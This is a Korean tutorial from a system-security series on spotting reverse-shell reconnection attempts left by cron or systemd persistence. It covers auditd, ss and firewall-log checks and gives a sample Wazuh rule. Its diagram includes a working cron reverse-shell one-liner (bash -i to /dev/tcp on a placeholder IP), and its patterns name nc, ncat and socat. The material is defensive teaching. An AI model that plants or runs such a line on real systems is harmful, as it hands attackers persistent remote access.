시스템 보안 · 취약점 › I. 지속성 · 재침투 징후 · 29/50편 (전체 429/450)
학습 단계: 백도어·재침투 경로 탐지
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
리버스 셸은 피해 서버가 공격자 쪽으로 먼저 연결해 셸을 넘겨주는 방식입니다. 지속성(cron·timer)과 결합하면 "몇 분마다 공격자에게 전화를 거는" 재침투 장치가 됩니다.
리버스 셸 재접속 구조
cron */5 → bash -c 'bash -i >& /dev/tcp/198.51.100.7/443 0>&1'
├─ 공격자 리스너 대기 중 → 연결 성립 → 셸 획득(재침투)
└─ 공격자 대기 안 함 → 연결 실패(SYN만) → 5분 후 재시도
흔적
· 같은 목적지로 주기적 connect 시도
· 부모가 cron/systemd인 bash·python·nc의 외부 연결
핵심: 연결 "성공"보다 주기적 "시도"가 먼저, 더 자주 보인다
F영역 29편이 리버스 셸 자체를 다뤘다면, 이번 편은 근절 이후에도 반복되는 재접속 시도를 재침투 징후로 보는 데 집중합니다.
| 확인 | 명령 / 로그 | 포인트 |
|---|---|---|
| 연결 감사 | auditctl -a always,exit -F arch=b64 -S connect -k reentry_net | exe·목적지 |
| 현재 연결 | ss -tnp | 셸 프로세스 연결 |
| 시도 흔적 | ss -tn state syn-sent | 반복 SYN |
| 차단 로그 | 방화벽 DROP 로그 | 같은 목적지 반복 |
# 리버스 셸 재접속 시도 점검 (분석 방법)
sudo ss -tnp state syn-sent
sudo ss -tnp | grep -E '"(bash|sh|python[0-9.]*|perl|nc|ncat|socat)"'
# 셸·인터프리터의 connect 감사 기록에서 목적지 집계
sudo ausearch -k reentry_net -i 2>/dev/null | grep -E 'exe=.*(bash|sh|python|perl|nc)' -A3 | grep -oE 'laddr=[0-9.]+ lport=[0-9]+' | sort | uniq -c
# 방화벽 차단 로그의 반복 목적지
sudo journalctl -k --since "-1d" | grep -oE 'DST=[0-9.]+ .*DPT=[0-9]+' | awk '{print $1,$NF}' | sort | uniq -c | sort -rn | head
셸·인터프리터의 외부 connect: 없음
DROP 로그: 산발적 스캔성 목적지만
셸·인터프리터가 외부로 연결을 시작하지 않고, 차단 로그에 특정 목적지로의 주기적 반복이 없는 상태가 정상입니다.
SYN-SENT 10.10.2.15:41922 → 198.51.100.7:443 users:(("bash",pid=5120,ppid=CROND))
kernel: DROP OUT= DST=198.51.100.7 DPT=443 (5분 간격, 288회/일)
리버스 셸 재접속 분석 흐름입니다(가상의 예시).
[연결 시도] auditd connect(셸·인터프리터) · 방화벽 DROP
↓
[주기 분석] 같은 목적지 · 같은 간격 반복?
↓
[계보] 부모 프로세스(crond·systemd·udevd) → 남은 트리거 특정
↓
[성공 여부] ESTABLISHED 전환·세션 지속 시간
| 신호 | 해석 |
|---|---|
| 일정 간격 반복 | 스케줄 트리거 |
| 부모 crond | cron 지속성 |
| 성공 연결 | 재침투 발생 |
주기 반복 연결의 부모 프로세스를 따라가면 근절 단계에서 놓친 트리거를 정확히 찾을 수 있습니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_i,persistence,">
<rule id="108280" level="13">
<if_sid>108000</if_sid>
<field name="audit.key">reentry_net</field>
<field name="audit.exe" type="pcre2">/(ba|da|z)?sh$|/python[0-9.]*$|/perl$|/(nc|ncat|socat)$</field>
<field name="audit.ppid_comm" type="pcre2">crond?|systemd|udevd|atd</field>
<description>스케줄·서비스가 띄운 셸·인터프리터의 외부 연결(리버스 셸 재접속 의심)</description>
<mitre><id>T1059.004</id></mitre>
</rule>
</group>
부모 프로세스 이름은 기본 auditd 디코더 필드가 아니므로, 수집 단계에서 PPID를 이름으로 보강했다고 가정한 예시입니다(Sysmon for Linux 사용 시 ParentImage로 대체).
| 확인 | 근거 |
|---|---|
| 시도 | connect 감사·DROP 로그 |
| 주기 | 같은 간격 반복 |
| 원인 | 부모 프로세스(트리거) |
| 성공 | ESTABLISHED |
| 면접 포인트 | "재접속은 성공보다 시도가 먼저 보인다 — 주기와 부모 프로세스로 남은 트리거를 찾는다" |
다음 편 430. 지속성·재침투 — 바인드 셸·백도어 리스너 탐지 에서는 서버에 포트를 열고 공격자 접속을 기다리는 바인드 셸·백도어 리스너를 리스닝 포트 기준선·bind 감사·방화벽 로그로 탐지하는 방법을 다룹니다.
이전 편: 428. 지속성·재침투 — 스케줄·서비스·부팅 지속성 종합 분석
📚 시리즈 전체 보기: 시스템 보안 · 취약점